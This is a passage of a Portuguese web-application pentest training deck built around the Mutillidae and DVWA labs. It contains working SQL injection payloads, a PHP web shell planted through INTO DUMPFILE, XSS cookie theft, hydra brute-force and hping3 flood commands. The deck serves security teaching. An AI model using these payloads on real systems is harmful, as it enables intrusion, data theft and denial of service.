A1 - Sql Injection na Prática Parte 01Reinaldo Junior
 

Semelhante a Pentest App Servidor Nivel 1 (20)

Sql injection
Sql injectionSql injection
Sql injection
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Mini Curso - Pen Test - Univem
Mini Curso - Pen Test - UnivemMini Curso - Pen Test - Univem
Mini Curso - Pen Test - Univem
 
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
 
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
 
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
 
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
 
Palestra: Pentest - Intrusão de Redes
Palestra: Pentest - Intrusão de RedesPalestra: Pentest - Intrusão de Redes
Palestra: Pentest - Intrusão de Redes
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
 Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi... Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasProteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
 
Owasp web app_flaws
Owasp web app_flawsOwasp web app_flaws
Owasp web app_flaws
 
Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4
 
Introdução ao teste de intrusão em redes
Introdução ao teste de intrusão em redesIntrodução ao teste de intrusão em redes
Introdução ao teste de intrusão em redes
 
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
 
PHPUnit e teste de software
PHPUnit e teste de softwarePHPUnit e teste de software
PHPUnit e teste de software
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de Segurança
 
A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01
 

Mais de Kleitor Franklint Correa Araujo

Automação de testes - uma introdução sobre estratégias
Automação de testes - uma introdução sobre estratégiasAutomação de testes - uma introdução sobre estratégias
Automação de testes - uma introdução sobre estratégiasKleitor Franklint Correa Araujo
 
Gestão de projeto PMBOK 5 com um Toque Agil - praticas de fundamentos
Gestão de projeto PMBOK 5 com um Toque Agil -  praticas de fundamentosGestão de projeto PMBOK 5 com um Toque Agil -  praticas de fundamentos
Gestão de projeto PMBOK 5 com um Toque Agil - praticas de fundamentosKleitor Franklint Correa Araujo
 

Mais de Kleitor Franklint Correa Araujo (20)

Metricas (e previsões) acionáveis de projeto
Metricas (e previsões) acionáveis de projetoMetricas (e previsões) acionáveis de projeto
Metricas (e previsões) acionáveis de projeto
 
Modelagem com historias bem além dos requisitos
Modelagem com historias bem além dos requisitosModelagem com historias bem além dos requisitos
Modelagem com historias bem além dos requisitos
 
Engenharia de software Lean Kanban
Engenharia de software  Lean KanbanEngenharia de software  Lean Kanban
Engenharia de software Lean Kanban
 
Fundamentos Gestão de Escopo e Qualidade
Fundamentos Gestão de Escopo e QualidadeFundamentos Gestão de Escopo e Qualidade
Fundamentos Gestão de Escopo e Qualidade
 
MBA em projetos - Gestao Ágil
MBA em projetos - Gestao ÁgilMBA em projetos - Gestao Ágil
MBA em projetos - Gestao Ágil
 
Automação de testes - uma introdução sobre estratégias
Automação de testes - uma introdução sobre estratégiasAutomação de testes - uma introdução sobre estratégias
Automação de testes - uma introdução sobre estratégias
 
Papeis Ágeis - uma proposta operacional Scrum
Papeis Ágeis - uma proposta operacional ScrumPapeis Ágeis - uma proposta operacional Scrum
Papeis Ágeis - uma proposta operacional Scrum
 
Teste de software gestao e kaizen
Teste de software gestao e kaizenTeste de software gestao e kaizen
Teste de software gestao e kaizen
 
Introdução ao design de teste de software
Introdução ao design de teste de softwareIntrodução ao design de teste de software
Introdução ao design de teste de software
 
Gestao de Projeto com gráfico burndown
Gestao de Projeto com gráfico burndownGestao de Projeto com gráfico burndown
Gestao de Projeto com gráfico burndown
 
Introdução de teste de segurança app web
Introdução de teste de segurança app webIntrodução de teste de segurança app web
Introdução de teste de segurança app web
 
Gestão Agil de tudo - Retrospectivas
Gestão Agil de tudo - RetrospectivasGestão Agil de tudo - Retrospectivas
Gestão Agil de tudo - Retrospectivas
 
Gestao Ágil do Backlog - Taskboards
Gestao Ágil do Backlog - TaskboardsGestao Ágil do Backlog - Taskboards
Gestao Ágil do Backlog - Taskboards
 
Gestão Ágil de tudo: Planejamento backlog
Gestão Ágil de tudo: Planejamento backlogGestão Ágil de tudo: Planejamento backlog
Gestão Ágil de tudo: Planejamento backlog
 
Gestao Ágil de Projeto - Reunião Diária
Gestao Ágil de Projeto - Reunião DiáriaGestao Ágil de Projeto - Reunião Diária
Gestao Ágil de Projeto - Reunião Diária
 
Agil - coisas essenciais de sempre
Agil - coisas essenciais de sempreAgil - coisas essenciais de sempre
Agil - coisas essenciais de sempre
 
Gestão de projeto PMBOK 5 com um Toque Agil - praticas de fundamentos
Gestão de projeto PMBOK 5 com um Toque Agil -  praticas de fundamentosGestão de projeto PMBOK 5 com um Toque Agil -  praticas de fundamentos
Gestão de projeto PMBOK 5 com um Toque Agil - praticas de fundamentos
 
Gestão de projeto- conceitos essenciais
Gestão de projeto- conceitos essenciaisGestão de projeto- conceitos essenciais
Gestão de projeto- conceitos essenciais
 
Test First, TDD e outros Bichos
Test First, TDD e outros BichosTest First, TDD e outros Bichos
Test First, TDD e outros Bichos
 
Teste Ágeis para todo o time
Teste Ágeis para todo o timeTeste Ágeis para todo o time
Teste Ágeis para todo o time
 

Pentest App Servidor Nivel 1

  • 2. Teste de segurança: Técnicas de Verificação Falsos Positivos, Falsos Negativos, Camadas indetectáveis. Aplicaçã o RISCOS
  • 3. Testes de segurança: Análise de resultado Aplicaçã o RISCOS CRITICIDADE, IMPACTO, PROBABILIDADE IMPLICAÇÕES RECOMENDAÇÕES
  • 4. -Modelagem de ameaças -Interações pré- noivado ( escopo, objetivo, reuniões) -Coleta de informação ( analisadores, eng. Social, etc) -Análise de Vulnerabilidade -Exploitation ( explorar para tirar vantagem) -Pós Exploitation ( mais analise e decisão ) -Relatórios Fases de um Pentest
  • 5. Coleta de informações NMAP é o rei Fonte: https://nmap.org/book/nse.html -Que informações queremos? -Que portas estão abertas? -Que informações podemos aproveitar e pra quê? Usando o help: nmap --help Use o grep: nmap | grep -i script
  • 6. nmap -A <target> nmap -T5 <target> nmap -F -sV <target> De olho na latência!!! NMAP: alguns exemplos do uso Interface gráfica: zenmap
  • 7. locate *.nse - localizando scripts locate *vuln*.nse nmap --script mysql-vuln-cve2012-2122.nse <target> nmap -sV --script=banner <target> Escreva seus próprios scripts https://nmap.org/book/nse-tutorial.html NMAP: Usando scripts ( O foco )
  • 8. Coleta de informações – Web Servers Nikto-webserver scanner http://www.tecmint.com/nikto-a-web-application-vulnerability-and-cgi-scanner-for- web-servers/
  • 9. Coleta de informações Exemplo Nikto -h <target> -o report-nikto.txt Usando o help Definindo portas: -p 80,443 - especificas -p 80-443 – range Testar no webscantest.com -Atenção ao bloqueio do primeiro ataque -Bancos de vulnerabilidades: www.osvdb.org
  • 10. Scan de vulnerabilidades Sintaxe geral: skipfish <parametros> -o /<dir> <target> skipfish -r 1000 -o /result-skipfish <target> Obs: apagar diretório antes do próximo scan. Dicionários: skipfish -r 1000 -o /result-skipfish3 -S /usr/share/skipfish/dictionaries/complete.wl <target> Um pouco mais sobre dicionários https://github.com/spinkham/skipfish/blob/master/doc/dictionaries.txt https://github.com/spinkham/skipfish
  • 11. O lado cliente da força
  • 12. HackBar :: Complementos para o Firefox - Add-ons
  • 13. Apresentando o OWASP Mutillidae II /documentation/mutillidae-test-scripts.txt
  • 14. A1- FALHAS DE INJEÇÃO Ataques via browser ou prompt: SQL Injection: comandos SQL XSS Injection: Javascript e HTML Outros: command Injection, LDAP, XML, etc.
  • 15. Injeta-se uma query SQL na aplicação usando um navegador web comum. IMPACTO Criar, ler, atualizar ou excluir qualquer dado disponível para a aplicação através de SQL; Ganhar acesso a recursos restritos de S.O e rede; Conectar-se a sistemas como se fosse um usuário autorizado, driblando a necessidade de uma senha. SQL Injection Cenários: CAMPOS EDITÁVEIS OU NÃO, UPLOAD MALIOSOS, CSS maliciosos, etc.
  • 16. Comportamento: Estímulo / resposta Error based: erro como resposta Time based: Blind Injection, tempo como resposta A técnica básica: -Mudar o comportamento do comando através concatenadores e comentários -Primeiro, testar qual símbolo pode quebrar a string: aspas, apóstrofos, parênteses SQL Injection
  • 17. Práticas -Bypass de autenticação -Bypass de operações -SQlI com XSS -Leitura de arquivos -Shells maliciosos SQL Injection – Error based
  • 18. Bypass de autenticação http://localhost/mutillidae/index.php?page=login.php User: joao' or 1=1# -Qual o comportamento? -Que informações trouxe? -De que usuário e perfil são as informações? -Onde as vejo? -Como as vejo? Exercício 1: testar no campo senha Exercício 2: logar com usuário Jeremy SQL Injection – Error based
  • 19. Bypass de operações - inserção http://localhost/mutillidae/index.php?page=add-to-your- blog.php&popUpNotificationCode=SUD1 -Qual o comportamento da funcionalidade? -Qual payload quebra a app? -Que operação ela realiza? -Quantos campos ela tem, de que tipo, em que ordem? -Onde se vê o resultado? payload Hacked','2022-06-01 12:00:01')# SQL Injection – Error based
  • 20. SQLí e XSS SQL Injection – Error based http://localhost/mutillidae/index.php?page=user-info.php Brincando com union ' union select 1,2,3,4,5,6,7# Descobrindo o numero de colunas Em que coluna encaixar o ataque? SQLI- XSS – funções mysql de string A vantagem sobre os escapes contra XSS Payload ' union select 1,2,CHAR(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62),4,5,6,7#
  • 21. SQlI – lendo arquivos do host http://localhost/mutillidae/index.php?page=user-info.php -Que funcionalidades buscar pra fazer este ataque? -Que arquivos são interessantes? -Que funções usar do SGBD para o ataque? Payload ' UNION ALL SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5,6,7 # SQL Injection – Error based
  • 22. SQli – Upload malicioso e command injection <HTML> <HEAD> <TITLE>Simple PHP Shell</TITLE> </HEAD> <BODY> <form method=post> <input type="text" name="comando"/> <input name="submit" type=submit value=”executar"> </FORM> <?php echo "<pre>"; echo shell_exec($_REQUEST["comando"]); echo "</pre>"; ?> </BODY> </HTML> SQL Injection – Error based
  • 23. SQlí – Upload malicioso e command injection ' union select null,null,null,null,null,null,'<HTML> <HEAD> <TITLE>Simple PHP Shell</TITLE> </HEAD> <BODY> <form method=post> <input type="text" name="comando"/> <input name="submit" type=submit value=”executar"> </FORM> <?php echo "<pre>"; echo shell_exec($_REQUEST["comando"]); echo "</pre>"; ?> </BODY> </HTML>' into dumpfile '/opt/lampp/htdocs/mutillidae/shell.php'# Executar o shell.php -Por que a vulnerabilidade funcionou? -O que aprendemos aqui? -Quais OWASP TOP TEN SQL Injection – Error based
  • 24. -Estratégias para descobrir numero de colunas com time based -Quando o erro não aparece no browser nem no proxy http://localhost/mutillidae/index.php?page=user-info.php ' union select 1,2,3,4,5,6,sleep(5)# Exercício no login - Realizar um ataque DOS usando sleep() SQLi- Blind Injection – Time based
  • 26. -Quando usar o sqlmap? -Por que demora tanto a encontrar? -Por que por vezes não encontra nada? -Em que momento do ciclo do pentest usa-lo? -Qual a estratégia de investigação? O que eu quero descobrir -Que dificuldades existem na formação da string de ataque e como resolvê-los. -Como passar parâmetros diversos? Sintaxe e manutenção -Quando o numero de threads é importante? SQL-Map http://sqlmap.org/
  • 27. Amplo, geral, lento e vago sqlmap -u <host> Mais objetivo sqlmap -u <host> dbms=MYSQL Ainda falta algo.. sqlmap -u <host> dbms=MYSQL <o que fazer quando achar> SQL-Map
  • 28. O que fazer quando achar? --dbs -D banco-de-dados –table -T tabela --columns -T tabela --dump Exemplos: sqlmap -u <host> --dbs sqlmap -u <host> -D <banco-de-dados> --table sqlmap -u <host> -T tabela --dump sqlmap -u <host> -T tabela --columns Análise aprofundada sqlmap -u <host> --level 5 --risk 4 --passwords -v 1 –time-sec=4 SQL-Map
  • 29. Custo de manutenção e êxito no ataque -Como capturar todos os dados necessários para privilégios pós-login? -Como capturar cookies? Roubo de sessão -Como resolver problemas de parâmetros concatenados com "+" Usando um arquivo de autenticação e parâmetros. Quais parâmetros? Capturar a página user-info: admin&adminpass Quando capturar? O que capturar? sqlmap -r /opt/user-request.txt dbms=MYSQL --dbs SQL-Map
  • 30. SQL-Map Exemplo de uso sqlmap -r /opt/user-request.txt dbms=MYSQL –dbs sqlmap -r /opt/user-request.txt dbms=MYSQL -D nowasp --table sqlmap -r /opt/user-request.txt dbms=MYSQL -T accounts --dump Prametros para decodificação de senhas
  • 31. Técnicas de prâmetros https://github.com/sqlmapproject/sqlmap/wiki/Techniques Bypass de wafs https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423 SQL-Map http://sqlmap.org/
  • 32. Scan de vulnerabilidades Ataques -Inicio Rápido: active scan -Configurando o proxy -Ofuscação -Relatórios -O escopo de teste: domínio, spider -Varredura ativa e alertas: cores e grupos -Falso positos e negativos -Scanner através de proxy: vantagens https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • 33. Add on Proxy selector Proxy Selector :: Complementos para o Firefox - Add-ons - Mozilla
  • 34. A1- Commando Injection DVWA 127.0.0.1 && ls /opt 127.0.0.1 && net start telnet
  • 35. A2- QUEBRA DE AUTENTICAÇÃO E GERENCIAMENTO DE SESSÃO Cenários: vazamentos ou falhas em funções de autenticação ou gerenciamento de sessão para assumir a identidade de outro usuário. Alvos: contas expostas, senhas fracas, ID de sessão capturáveis ou de baixa randomização, IMPACTO
  • 36. A2- Quebra de sessão e gerenciamento de sessão Tudo o que possa roubar a sessão: A1...A10
  • 37. A2- Quebra de sessão e gerenciamento de sessão Bypass de autenticação por cookies: validade, etc. Cookies manager, firebug
  • 38. A3-CROSS-SITE SCRIPTING (XSS) Executar scripts cliente (Javascript, Flash Script, HTML, etc) de forma direta ( no meu browser) ou remota ( no browser da vítima). •Roubar sessões de usuário; •Pichar sites Web; •Introduzir worms, zumbis, etc; •Negação de serviço. IMPACTO
  • 39. A3- XSS Tipos: Armazenado, Refletido Bypass -Se a sanitização estiver na pagina cliente, repassar via proxy -Se a sanitização for para texto plano, repassar ofuscado
  • 40. A3- XSS Onde? -No browser como favorito -No cookies: campo “content” Payloads: javascript:alert(document.cookie) javascript:(document.cookie) Javascript ou <script>? Resultado: http://localhost/mutillidae/index.php?page=capture-data.php
  • 41. A3- XSS Use um proxy e ofusque. Por que? Pagina de login, codificar como URL. O problema do “+” Depurar e Codificar com o owasp-zap para url e substituir no login. <script>document.location="http://localhost/mutillidae/index.php ?page=captured-data.php&c="+document.cookie</script> Resultado: http://localhost/mutillidae/index.php?page=capture-data.php
  • 42. A3- XSS persistente -stored Onde? http://localhost/mutillidae/index.php?page=add-to-your-blog.php Exemplos: -<a href="#" onclick="alert(document.cookie);">veja aqui sua resposta</a> -Injetando a pagina de login do mutillidae com firebug
  • 43. A3- XSS http://beefproject.com/ -HACKING; -Exploit; -Coleta de informações INICIALIZANDO O BEEF Usar o menu já dispara o servidor e exploit panel: beef, beef
  • 44. A3- XSS – BEEF Usando o beef to exploit http://127.0.0.1:3000/ui/authentication http://localhost:3000/hook.js Onde? http://localhost/mutillidae/index.php?page=dns-lookup.php
  • 45. A3- XSS – BEEF Beef – Hook e comandos -Que informações obtenho? -Coleta de informações. -As cores Enviando um : -alert -fake flash update -Fake notification bar -Pretty Theft
  • 46. Session hijacking descreve todos os métodos de um atacante poder acessar a session de um outro usuário. A2- Quebra de sessão e gerenciamento de sessão
  • 47. Scanner com Owasp-zap Fuzzer: Sqli, XSS, etc -Escolha de payload e parametrizações eficazes -Diretorio de scripts -Outros recursos: chamar terceiros internamente: sqlmap, etc Exercícios
  • 48. Atacando a autenticação – força bruta Etapas: -Observar comportamento para formação de senha -Gerar lista de senhas -Preparar a estratégia passiva ou ativa de ataque -Realizar ataque força bruta Saber mais: prevent brute-force attack Information Security The Complete Reference, 2nd Edition A2- Quebra de sessão e gerenciamento de sessão
  • 49. Gerando listas -Cuidado com listas geradas do lado cliente: como box, listboxes, Default Password List, etc. -Como construir listas rapidamente? -O que posso obter? -O que mais posso obter com a criação de listas -Quantas listas preciso para atacar? -A importancia da engenharia social na formação de senhas Atacando a autenticação
  • 50. Atacando a autenticação Gerar listas para o ataque -Use geradores de CPF Na internet: https://packetstormsecurity.com/Crackers/wordlists/ http://www.openwall.com/wordlists/ No kali ls /usr/share/wordlists/
  • 51. Geradores de lista para ataque de autenticação Atacando a autenticação crunch cewl
  • 52. Gerar listas para o ataque cewl -d 2 -m 5 -w docswords.txt <host> cewl -v -d 3 -m 3 -w docswords.txt --meta -- meta_file=meta.txt --email --email_file=emails.txt http://localhost/muttilidae https://digi.ninja/projects/cewl.php
  • 53. Sintaxe: crunch <min> max<max> <characterset> -t <pattern> -o <output filename> man crunch Ver: http://www.backtrack-linux.org/forums/showthread.php?t=39232 Exemplos: crunch 4 6 1234567890 -o wordlist4-6.txt crunch 9 9 -t admin@@@@ -o pass-list.txt Gerar listas para o ataque
  • 54. HYDRA hydra -l admin -P passlist.txt 127.0.0.1 http-post-form "/mutillidae/index.php?page=login.php:username=^USER^&passwo rd=^PASS^&login-php-submit-button=Login:Not Logged In"
  • 55. A2- Quebra de sessão e gerenciamento de sessão Para senhas de S.O john para decodificar senhas http://www.cyberciti.biz/faq/unix-linux-password- cracking-john-the-ripper/
  • 56. A2- Quebra de sessão e gerenciamento de sessão Ataque de força bruta – reflexões -Ataque simples é o que passa a autenticação em texto plano ao invés de cookies -performance é importante? -Use um ataque por proxy burpsuite com for interno
  • 57. A4- Referência insegura a objetos A5- Erro de configuração de segurança
  • 58. A4 e A5 File injection: Upload irrestrito, LFI, RFI Ver: /etc/passwd Exercício: -Tentar escalada de privilégios: executar um php que não pode pela via direta - LFI -Listar membros da intranet - RFI http://localhost/mutillidae/index.php?page=text-file-viewer.php
  • 59. A4-REFERÊNCIA INSEGURA DIRETA A OBJETOS Alterar parâmetros aplicação web via URL do browser, campo da aplicação ou prompt. O usuário pode ser autorizado ou não. Quebra de limites e restrições a arquivos, diretórios, banco de dados, etc. Exemplos: • Votar ou marcar consultas quantas vezes quiser; • Acessar conta de um usuário alterando um ID; • Ter acesso a funcionalidades de maior privilégio. IMPACTO http://example.com/app/accountInfo?IdConta=1
  • 60. A5- CONFIGURAÇÃO INCORRETA DE SEGURANÇA Refere-se à configurações de segurança incorretas ou não implementadas, isso inclui manter atualizados software e suas partes. Utiliza-se demais técnicas de ataque. Cenários: • Contas padrão; • Páginas não utilizadas; • Falhas não corrigidas; • Arquivos e diretórios desprotegidos; • Padrões de nomes fracos, • Padrões de senha fracos, etc. • Relações internas e externas. • Captchas de baixa randomização e complexidade. IMPACTO
  • 61. A4 e A5 File injection -upload irrestrito -Scripts maliciosos -Imagens maliciosas -Mudando header para atacar Exemplo e exercício https://r57.gen.tr/ C99.php
  • 62. Reports Agile Top Ten Sessões exploratórias e reports
  • 63. A6- EXPOSIÇÃO DE DADOS SENSÍVEIS Ausência ou inadequação da proteção aplicações web a dados sensíveis: Trânsito, armazenamento e exposição ( banco de dados, scripts clientes e servidores). Ex. dados sensíveis: cartões de crédito, IDs fiscais e credenciais de autenticação. IMPACTO • Fraudes no cartão de crédito; • Roubo de identidade. • Ganho de privilégios
  • 64. Criptografar: armazenamento (memoria e disco), transito Para: -Garantir a identidade de uma ou ambas as partes -Evitar a violação de dados -Evitar ataques de replay SSL+TSL =SSL/TSL-→ HTPS-→ 403 A6- Exposição de dados sensíveis
  • 66. O que testar? -Criptografia: A implementação usa um conjunto de padrão e cifra de segurança forte? -Identidade: A execução verifica a identidade do servidor corretamente e completamente? -Violação de dados: a implementação protege totalmente os dados do usuário para a duração da sessão do usuário? -Ataques de replay: A implementação contém um método para impedir? Man-In-The- Middle (MitM) A6- Exposição de dados sensíveis
  • 67. O que testar? Plano de teste https://www.owasp.org/index.php/Testing_for_SSL-TLS_(OWASP-CM-001) https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insuffi cient_Transport_Layer_Protection_(OTG-CRYPST-001) A6- Exposição de dados sensíveis
  • 68. Determinar versão e existência: nmap -sV expresso.am.gov.br Identificar cifras fracas e protocolos: analisadores: Nessus, analisadores on line sslscan --no-failed expresso.am.gov.br openssl s_client -no_tls1 -no_ssl3 -connect www.google.com:443 https://www.openssl.org/docs/manmaster/apps/s_client.html tlssled expresso.am.gov.br 443 http://www.pentesterscripting.com/discovery/ssl_tests O que testar? Plano de teste
  • 69. Analise de SSl/TSL - reports Análise geral e força da cifra https://www.ssllabs.com/ssltest/ Analisa SSLv3 and TLSv1 Protocol Weak CBC https://pentest-tools.com/network-vulnerability-scanning/ssl-poodle-scanner OpenSSL DROWN vulnerability scanner https://pentest-tools.com/network-vulnerability-scanning/drown-ssl-scanner Check your SSL/TLS certificate installation https://cryptoreport.websecurity.symantec.com/checker/views/certCheck.jsp
  • 70. Suporte do browser Lado cliente: alertas do browser, certificados e suporte Suporte a SSL3 - testa para ver se conecta no site Disabling Browser Support - SSL v3 Protocol https://blog.mozilla.org/security/2014/10/14/the- poodle-attack-and-the-end-of-ssl-3-0/ Testando suporte a ssl3 https://www.poodletest.com/ Habilitar ssl about:config A6- Exposição de dados sensíveis
  • 71. SSLSTRIP - MItM Não veremos aqui SSSTRIPS ( sslstrip e Ettercap) http://www.100security.com.br/capturando-senhas-com-sslstrip-e-bloquear-o-ataque-com-arpon/ http://www.nanoshots.com.br/2015/09/capturando-senhas-com-social.html
  • 72. A7- FALTA DE FUNÇÃO PARA CONTROLE DO NÍVEL DE ACESSO O atacante é um usuário autorizado no sistema, que simplesmente muda a URL ou um parâmetro de função privilegiada com o propósito de acessar a funcionalidade sem autorização adequada. Necessário validar no servidor cada função invocada. IMPACTO
  • 73. Tipos: vertical, horizontal Escalada horizontal Estado de login / logout. http://localhost/mutillidae/index.php?popUpNotificationCode=AU1 http://localhost/mutillidae/index.php?page=login.php&popUpNotificationCode=LOU1 Escalada Vertical -Mudar valor cookie ou requisição para obter privilégios: Owasp-zap, firebug, tags -Acessar o site por troca de url ( linha de comando do browser, proxy) -Acessa funcionalidade pro troca do nome de funcionalidade, padrões e parâmetros -Ganhar privilegio pós-login por alteração e arquivos clientes de configuração de privilégios A7- falta controle de acesso de nível de função
  • 74. Analise de vulnerabilidade Para executar: W3af Configurar: ataque e relatório; Criar próprio script Para mais: https://media.readthedocs.org/pdf/w3af/latest/ w3af.pdf
  • 75. A8- REQUISIÇÃO REMOTA FORJADA (CSRF) CENÁRIOS • Requisições não validadas em aplicações; • Links em e-mails; • Mensagens em forums, etc; • Clones de sites. Forjar requisições HTTP falsas através de XSS ou engenharia social, além de inúmeras outras técnicas. Se o usuário estiver autenticado, o ataque é bem sucedido. IMPACTO
  • 76. A8-Requisição remota forjada (CSRF) Testar no owasp –zap: add your blog http://tipstrickshack.blogspot.com.br/2012/10/how-to-exploit-csfr- vulnerabilitycsrf.html https://pt.wikipedia.org/wiki/Cross-site_request_forgery https://www.youtube.com/watch?v=GoNKI6dlD80 Black Hat 2013 - Dissecting CSRF Attacks and Countermeasures
  • 77. A9- UTILIZAÇÃO DE COMPONENTES VULNERÁVEIS CONHECIDOS O atacante identifica um componente vulnerável através de varredura ou análise manual e ataca a aplicação através dele. Malwares também assumem esse comportamento. IMPACTO
  • 78. A9-Uso de componentes com vulnerabilidades conhecidas Wpscan – usando como um profissional wpscan -u <host> wpscan -u <host> --enumerate t, u,p, vt,vp wpscan -u <host> -e u,p -f wpscan -u <host> --enumerate u -t 4 wpscan -u <host> -e u -t 4
  • 79. Aplicações Web frequentemente redirecionam e encaminham os usuários para outras páginas e sites e usam dados não confiáveis para determinar as páginas de destino. A10- REDIRECIONAMENTOS E ENCAMINHAMENTOS INVÁLIDOS. Sem validação adequada, os atacantes podem redirecionar vítimas a sites de phishing ou malware, ou encaminhar para acessar páginas não autorizadas.
  • 81. Algumas coisas úteis: Owasp-zap – compare request-response Add on para pentest Wappalyzer – por quê?
  • 82. DOS denial-of-service (DoS) ou distributed denial-of-service (DDoS) attack Um bom ataque: -Pluralizar a fonte: multiplos zumbis -Sobrecarregar: múltiplas threads, múltiplos alvos -Tentar bypass da análise: -slow DOS -Ip de confiança _Por dentro da app -Radomização da anonimidade
  • 83. Tipos de ataque -Baseada em volume -Baseado no protocolo Recursos do servidor ao invés de largura de banda, indo para e partir do servidor equipamento periférico -Ataques de camada de aplicativo Alvo é a camada de aplicação Slow Dos at all : Slowloris
  • 85. Como saber se funcionou? latência demasiada, queda do serviço Hping3 hping3 -S --flood -V 127.0.0.1 hping3 --flood -V --rand-source localhost